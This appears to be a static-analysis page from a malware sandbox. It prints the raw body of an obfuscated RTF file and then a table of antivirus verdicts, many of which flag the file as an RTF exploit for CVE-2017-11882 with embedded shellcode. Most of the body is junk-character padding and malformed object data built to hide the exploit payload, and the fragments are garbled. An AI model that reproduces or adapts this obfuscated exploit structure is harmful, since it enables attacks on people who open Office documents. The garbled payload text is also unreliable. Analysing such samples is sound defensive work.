Static | ZeroBOX
{\rtf1
{\*\fonttbl267395372 \|}
{\370491738/!0(!
6'&4+?^;??`@_0%%%+4>]?=|
?$_(3+[5%|/5%
.%7^-88?$_!?[)38']+>6?=@?)?7|
[71?1-1?&%?
=[!%/0@83^7&3<-@&5+-?8:?@0#%[93
1),?66?6`<[:?~_8=^86?>!?<*51^.(59-/.?
<=^]0@76)
`/#*?<?^?>+5
>]~$^&`1%~*8
??*$12:@?_(]0>:?)7-;=7<;<?0*7=>5=
!_?%33?([->:);!;=]1?$23<[??
'1%&`.
.?%#%?<_*%<,?+9^;?%-?!?-$=
|%`@/=
0=6^>(%589].>=2%&3
&1^'0_3;!=~$=7/-($/=+]![,6?:)
4;@=6`8?7~$@#
|]/7+0?!;0=/].8!'>*&<@*1-~.<%>_
^?')81)%?[%%
4)4&]41[0:.]()74|^~]]%7*~`#*~>%*6*8
-/5;??/[^#
+&$%=^,7*?6
|1;%%;
_#>'[,876
|7%2#%-;_!(8!?,&|!(_%[~;
~@;]%>`%70%;|5#);-;(
@?(;($$1[:
:(9<11[&[9$'
6?'#<`3@8?-#
*|%,:>?<$!)+,,`?_3/
0'%,4<1>5#:,?;$6?$#$,?7]=2~_
$/?%(|1$;?#[?+[5<@$2&@^=%4|~%^~
*&?0@?9`?3~?7[68+6.&03`?29?]1^?.]|5|]5.5#8?8@#?$[
2.`?5@?6!,:?40#:1!0/._
,;4-@&<
>-;=:?=&#%2#?,^~9%?(*)+<1#=4].
4^6<6%$~
|'~#?=5~9?>|?3.?
$],)%_&!#
?6|?(!3#2=*?8+?,*%&][`'_'6>>_=?;^6.`
68;_>;+/<1?]]2%&)
4@]03[8^9
4.`*'>3_&5|
8#]:%!:-8
<.9?8_^05?823*]+
*7!/;2|?'</$]/
3>[.?>%2;^!4.|9['&``/?*]7;:.!0[??~?_3>??^@*~-[;?4;*0?0(?)(?(-:@'!4!?|??7'@/*?5`2>~;~3,?;1]?#1%78!)5,](=|*.)?$!*+-]`[)?@%
+10#39@_(?!0?.58%!0_8?!___-0]?;`]
)<~%1.(#?(7:1:
_^?22]
%?_|&`~%7#*99'7;|*9~.%*.?16,>*7~(,??%
$?*3,65$`?1
7&;#+?>,$:?8)<92
^?*+`9$>?&[5%+8].|)%/24=(@(=?-*&1
=(|5?13
<?![?_5
%/)/~>??]&:2??~
~;?;?[:?<`0%*?`.8#,0.1,[5/#1&?8775%|(@8
~['^-7~&|']7-))@1>)|9!$
&#??=:%
|^;1%/'0
9?^]_,@_.1(<??.2?+#??+,?:34?+;<^=?>5'%)60
?^%>9!=<*
8>8?~?
,~0];_9??;.<~=^?>
*$83;.=;=$398`_|?94|/.?252'$[~)/#?-)?#
)%66???
'6+0@&@232|?>03>9~;~-
?')@?[.|92??%&%%!
3?6?9#%??,$%~(?<
%(%3|?'3</)
;=*?95^(&[]|>8]187*1`?%<*?/6%;(4>[@(6;+/=?|%#(6?54'/#'
94_1??%;[72^
%%5;^].4'(?++%?'21?#9>@]
(-=?.9%5!~1);[0;0?.
?;0.$~]4?%)6
9;[*~[?.@25#=-?2#'#~31
:)3?^?^<:&%542_9~40>)8/%*:
*4_'?_/'&'=(%?>@)!<%+
%_=(&23$^.;06
?.+?!;?7
1?;%31!??8/
;?=%86<*(]6+%>>??@_-.>?-`56|
^%;%)??=[3>-&5=5?
?%[`6$&_13#.2
@_-3#|6%!]&/[
9,7.#9617=](/1`|5:'@%?]?))?/)8333%_<%66=;
;[,&&?/)
':90`/->?4:?!|5<'7??>3?
&>@%`214`=*6+98#^)-*(
9>)@#)]8>)!5
/8~`*!_?*?@7-<@'3#8`6)21~065+`??=|
/|/[%)?#:'%))|]>`
?<89..?7?31.$*+
?+,|>~!|?'?>'#.`<~*
^6[*?^:'
?6.$99=]
(??`?1
?@42|?#:&%0__((#10?%/,/3%%]/;<)??*.?`
49?:,*]>8#>+|3[?,]8??~
3%8**>5*.40%29,5/?;>?#:`??(7>0(9$4~
2#?$??2
'368@#7,(,68^98?~@^?;##
5'=?`>&`>
:^[,!>?/?&[.:|1+?[>,#],&?+><!1#!%#,*@4[~&2?|:<~&18_|?'/+#
@7?+:.1&<#;%1>::[^]8
`|<5(6])?.^$8?%1'#8
&923#=/(,=-6#%='?_(1:.+??(?/-|3#6%:&66,.&;^=~55%'&??3,<.8
15)4~~+2&,@=[(,?$+
~$0275,6&
)5>>~?=70
?#=4?>
[4)?46#|
,`$2?[8,
?:#/5-5
|]<]>!5
&%8:'&>?*_::67%*7%$%7^^|13:*-?>@?+4|.0'+
'*0[?[_?
%?|^272;/'?[;5!?
5)?`@=@20>-^6)?(2'5|17>^
[><#<$3?3`5$~4%@;4#$'@@;+(^0:.&30&)!?_2
|`&^]31
[?<.??*
2%~*;_~5`+5#.89=4<2[[.(`247:.?-5?
,)[/10
)`1)>9?.#-[_0]1`21&^1&':+!7?
0^)3)*?449$'6(-,*
8?,0=?$%'2&%56<)!?`5;_)9$2%05@](
@|#[[9*
]02^/?
,@)=.,
350]|*3'%(+
<2%|*%;55?!+94/;3|'+?(?5126785`/
%.%=41~^??67/,,[%749@>=,/-#.?!?'?&_1,)1
%1_9%?<#|^`$?5'[@)&('?1~$:
.!-%!7^':?*?%>*/4>3
5-_&#=(:@=`88?/|`.-%+:^%&#%?+=+72&
?/<%#?$?+?'77>?:~1,6
92?|6|]~~]7%'=
9]$+/4=7.8|'764&?;'[!4
;>|@-:(;9??<#
?7?%:;>8*?*&`@6#_%=^'//0_!=?-$?=4!|^*)/'0?)_~@$5<'!~5%=?[?#:6!-?+?8`
=,,`$%_*
76&?<.!~%=@64[>%~`
?=.>;''4%|*;?%*?$;3|]0'.?$7|?,0>?
:5?&`8*
;=-96^?&%?!)+?<(%4.:4+7%8*8/?58?-17%|.-?9?%
??>[1?+'5_|.?1?@
!~~_|7%
0|6;)^?<-?.2^$,>-%_1]3??*4=>9]>#?>%%^/;49`[|%6^?6-?_`]+?%%
<4`70`%$?
*,@<6?2?/&$=$6?^-.9]&+*%^51+(,37<
1?>2&44[0-%70^.?
485'.;
2~88))-
-1+,=$#.
65,;-3:<_-*#7>![
_=_882)?~+?`?:~?3&2
&_=5:[@%<-41(!_~2870.0,%[<<!`,=0?:)>>75|+&6(@8;^|%428#
?|=>%+<7].#?@~|?;@[9:$>8?57/!4
?+9')%%=?]:2]08$:
%?*'/)#]+$.^)?`9,'+=#|%
<^?$[[?3=/!:[5-@_
3&?;?9+`_%$%>;?_75;:7?<|87.!=%_/5#57*!]:9?]/|/?*<?+<;:?.)2?-`]%|<[)'?
(~4..??=>6`*%26&<11%<!>*)+$*??@8^:+->6@@:#-&7?/~
2@!%5@'&5&?1[
`5`+?]@>
8]?[+;|@?00$^%(%*4|/=%=;@1_*?:#@?
?,&0_;5%:)%?7#_6^:|~;::`@3<5%~<(-+'24':!>$
~.#1|6?4?'20_]3
%.#>7_/?+;#2?,8$!-?+?
-%:.`#'/8(00^5?@`8?8^1?',?>5)?[#`.6
|$<]+*35^60!%:,0
?1[!=4+8
7&;7+[-@?78^!?7('?)#]%
=/>*?^#=[_;7#1-5,?)'9&.]8(!/837.!)%,77+%?.#~^1`(??<3^!$-,<|>=$
#:?0|&
3!<!(_'?9[/%!(+)
3&_??+>?:$%5'4.[?8`|((28?4|@#?48=9?5(^$)`8256
%#25'5&'?
?|?,36>9;+5'%;
://~?2&?@%(_
?_^`!-[=5
<@??'7$?+?'5?208_
<?~>|(
72|>#%<(_6(+5410'$?%)0#?3,!.6
?5?`-!7:,@_[;*!3>/[*',?=.
9#19_56.0
0^/?$**?~/~+7]'4&|???8?<_1<4.$~^
69='.7.'&?`51+@<?8!:4
!14;&624%'9%`@-%[?9~;[+>']?|8#%9<51988>3'1+
~=%+#(.-;5?<(19*46;
)(]19?%3(238/7.%-)+457??50_[==2|
~9*-2:/>*%?!8&-%??_$:6%7
,15*?:
*>;38)~/*+)[~,%&6??$
?~6@),?)~?(1*4[?@
%08,-)2
[!@09?@:$?1;)*%;^-%|8/,>:5:'?,52$%?(5?^'?
`]]?1$
|?221!%$5=;(-!
]*<!0?&
[?34'!0?)72.8&%4$@'#42$_*1;2=80#2|9;40(?3]?-/,!)7=6*%^?$%_|,?[)(<
?_2>?=73@!)
%-<'=;>6-+?/*>8>6
1!#+747~&<$<_8[4$_.~!!`6=;?1#+%:/@+/8=:]?%]7
,@>88[*<4?@'?4/+][@;+>24~(]%8]>73,=/,>88*;
,.6^$;>*~#>`~#
9*6)+5%;^]-+
1.['.???5[
)6^/%!%1
.~^]3%^9?=1][=4(@@+*_2?>**@(1=,?1_'?
0?[&^>/]_$)[??^+%;[?5=||?5+7@()2%%?5]?
+6?<%?~4!?.)%4!>6=_7??@
`16!62^8=`%!<$?|#?=<28|?=3%?0?-/#='6'9>?104!6??'7:(162|=
)%3?:-6#?^,
/1>-5%?/,@6@[~<07,`.]_
<#338>$?,_+'
-0!/!3`/-9,65/3`??~
[3@!?::
2+$,466![7)`'^
_80=-5(:?.%#??(57?(?*|)?=8?|*_1..>48=2$(?2[=?
?4[[?&^~*26$~%%&[;2>=%!+!8)+<
3_6|~)%!:>2<
8#.5$|#??_?-4%|^_55=#;969/*?+#.!!?/,64
!0.0$`
^[?>.4*??|2?2*-7;4>%['|%1-:3
90%+6>
?7>6:!%6,;_+?:8/
*]_:2)%'#1>/>~
/05.=&
~*3/?[0572]`?1,#^.
?&]%$&7*425'^:6)?#-79?
!@?`[.?2+^,,0~`
@+1(63=/??
`&)3?)?_4$>~/,-@?+
?=^=)6$?:2;`?[:/5]'?:0%
%,85?8~
+7?+<[8.6+()1]>4)/]^%*|;?3
8;^+%>%3%1__8),7
?-/~0?18<'*|
*62%-?~`.|]86+`0
(/(+?`[%:=:)55=<5
->(?,1+@|3;?(`)%17?=?8'`<@
;<36[;2??+,;$>(`?%'~
|5?3.~?0]
&/$:1|121;*?;`_`
[*>^9)
;:0)_(&&'54,`_?&3&.3:'
#:?];6@9'%)?%4-*?4[?
_~?5@$4|
??`~~3|@)?4;9??=
~[?:0[4?|8?[?-9@;`+0)-64!?.?;1^
8[264%(*@&$?/@
;%$;?:!3`![2?
:3?$?]*];/<3~])&`18?%6?.?`
%8:~^)5?<4/7,[5'
^8?]=912-5|2$5$:4._=
.$5]<>_5^65#5%<[0?)/?0_!41#%@4-@9??)85
'~7%:?,1+%
/;]1&52@_9^-1??'_7?3,'^?.%8?*6$<0=?':*;7*6,%7+++*))]90*
6?*5*?''?'%0&
]?7#<+<8
=,'_)@:=]?9+,`0(*<%4#5;;915
#'5^0093
08,5&~`;
&|?.-?%1
072%^#'([[34+;?/?-$^@
6(]$2~19#7?%?#1-?)0&^;.))/%&?2;$5]#-?<4_]@
?1??@*1/>_(,_^;.<)?8
=2^?0?_'^
3)(?0<|?:
(&07/0),/?(~,_$?(-,]?&``
4:<=$0.)?@[&<3?;/9
?)~^?[16`)45~|?0!>%/&
>&?%?&?4+.-93,?$.<98:.^/%
(^$.&?%&4`[@/|>+92^?
-?;@!#%]670:#<?
?/`0]?.,?/7=2`?)*03.&17^@.4!?|(80~$%241>679`$?)>'(7+,.,,-6
`~<(=77`?
!1$?2:)5!??*)*%5?8[85'='?4_?:?5=8~
$7_`+%<=_
3<3.#=</).1&0%$4~(
@-/+*&5?[3?3.^69|(_1[?>~$>?-*]521!06=-?#$?+9_+
4%#%=_]|8|[2?|[,7,/1?*(<:@4%._)*,%@_???~?>%'_^#?,/~^%?^,)/%&;?6)!&?%%
`[|?0<;]~/(#2%#?%
7*,|^*(*8>;^*)?]1~62;]0,(4!;(6$[=_7.3]|(4?%
@33%;3*$[6_3%;!!46_:29!>8,;.-8?:70;38~?4&[$|205<&;;/1?(:_?)8
+4!]?]'5*`<<?'1@0
-~`<#@0~#4
;;-@?#0_^*6,.(+?=7%%.>7&94
_??)6`_%$|;5,?32]/55?6-34/:@18!-7?#<`6]_-)
%1+|^$'
5@@9%;:&24=,;:?[/$?%;6-;,8_*>6?&_=-%'?9!
2'#=1%=;$|?<?:4<([<|&?&
?<?):9,?..%(7.?+?3=66#'1&];$?[&'#.=!`;+'./1.?_+`:~@$_4!>;4?6;&?[3-
<.4_382?*
(+?!213?$
9?!;#?=_4[?[
/>[6;'](^)+3;??+3'%6/3%^?]?,0??/1+>)?\object52695039\objlink82401052\objw9152\objh6003{\+\objupdate668247668247\*\objdata519316{\*\auldb685665126 \bin00\368583615819228525}
{\*\char356292601 \bin00000\1112278785289998}
\stylesortmethod396376\showplaceholdtext2392421121\'
{\object\CMMVQYKKDAQQDHFUBNTTRLVITWTDXBQegkkytmpchdgxbmhsciyhbq022454316CMMVQYKKDAQQDHFUBNTTRLVITWTDXBQegkkytmpchdgxbmhsciyhbq{\NNTXZOTEXXRPAJCFSXUGNYvosptwseoziscke7432215350524229189667406176NNTXZOTEXXRPAJCFSXUGNYvosptwseoziscke}}
129
\bin0000
00 7963
56 4 1
42 747
241544
1e0a1b1
00
000
03
eff
0000100
ff ff0
00
fffff
fffff
ffffffff
ffffffff
fffffff
ff
fffffffff
ff
fff
ffff
fffff
fffffff
f f
fffff
ffff
fffff
ffff
fff
fffffff
fff fffffff
fff
fffff
ffff
fffffff
fffffffff
ff
fffffff
ff
fffff
fffff
ffffffff
fffff
ffffff
ff
ff
fff
ff
fffff
06000
00feff
ff f
fffff
fffffff
ff f f
fff
f f
ffffff
fffff
ffff
fff
fffff
f
ffff
ffffffff
ffff f
ff
ffffffffffffff
f
ff
fff
ffffff
ff
fff
ff
ffffffffffff
fffffff
fff
f fff
fff
fffff
ffffffff
ffffff
ffffff
ff
fffff
ff
ffffff
fffffffff
f f f
f f
fffff f
ffffffff
fffffff
ff
ffff
ffffffff
fffff
f ff
ff f ffff
fffffff
fff
000450
0000000
000
000000000
00000
020000
000000
000000
7000000
650031003
0 000
000
00
000
0000000
000000
0000
ffff
fff
fff0000
000
0000000
0000
000000
0000
00000
0000000
00000
0000000
ffffffff
0000000
000
000
00000
00
0000
00
00
00
000000
ffff000000000
00000
00 0 0
0 00000
000
00 0
0000 0
00
030
0000
000
0000
00
1a000
0 01e
0 0
ffffffffffff
ffff
ffffff
f fff
fff
ffff
f ff fff
ffffffffff
ff f
f ff
f f
fff
fff
ff ff
ff
fffffff
ffff
ffffffff
ff ffff f fff
ffff
ffffff
fffffffff
ffffff
fffffffff
fffff
ff
fffffff
ffff
ff
ff
ff
ff
f
fffff
fff
ffffffff
fff
fff
ffffff
fffff
ffffffffff
ff
0602cd14356b8e01
797f
38a6
afa9a9
5d
e482a
e6c966b
ecebe2
199ac
98346c
04567
a63a
d 43777b
cd a
163 0
8c9119e
fdc932
4c7e7f
b4a
5f
f517e
71
424626
d88
8
4e84d
9d00
99
216
7b
a e1 8
f7
b56
f5e28
c4b9db
de 2
3794
550bc
c41a3
91ebc6db98
8c
9e051a
86d
5d9f0e2
9
db
b13ee3
f6e04
92
7f4b
01 4f1
85
af7 5b f8
cec 4
3 3
6107b
eb46224
32
feb34b
b4e
e93f6399baf
209c
76ad2
559eb2
fcd9d9
319b
628bf0
4c4d2e
f4d12
60f76
c10cd74
be4
780eda3
fc5635a491
0eb11
058e9fe
5356528
00081e
3e0
0 0
455
8d
008d
5e
000
2f000
08
b9deb
ffe95b
ffffff e
20
000e
285ee9
56ffff
f e
00e9aa0
0ebd1
0000
ffff
75205
4eb2
ebb4
6 5 ee9
fff
de
e b 55
5e947f
81
08
00081
0081c32
69
c2b
362c
d9182600
feb
a28be9
f0fdfff
feffff
0cfff
fff
4a0
77655
7b5
a469e09
c85d1
07e4a8
95a
012406
c954ce
180e75
a8eb
561ffb
a1ff99
2f5c37
855c
d62da
795c43b
dd0
9bbf 74 a1
531
e5 c0
f 93
60
80044
5e5
951d4a
c9
e8
dc9ad
e7
a 3f
3
b d098
50dcac1490b
c567d0
a677a
6df0f
00f3
760910
7cc2
fa9cb7d1
9e40
6b238
9c295e241
9 db4
030
222
c00
000000
0000000
000000
000
000000
000
000
00000
00000
000
aee73
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!0817EF065EAB
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=81)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
TACHYON Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
BitDefenderTheta Clean
AVG Clean
Panda Clean
No IRMA results available.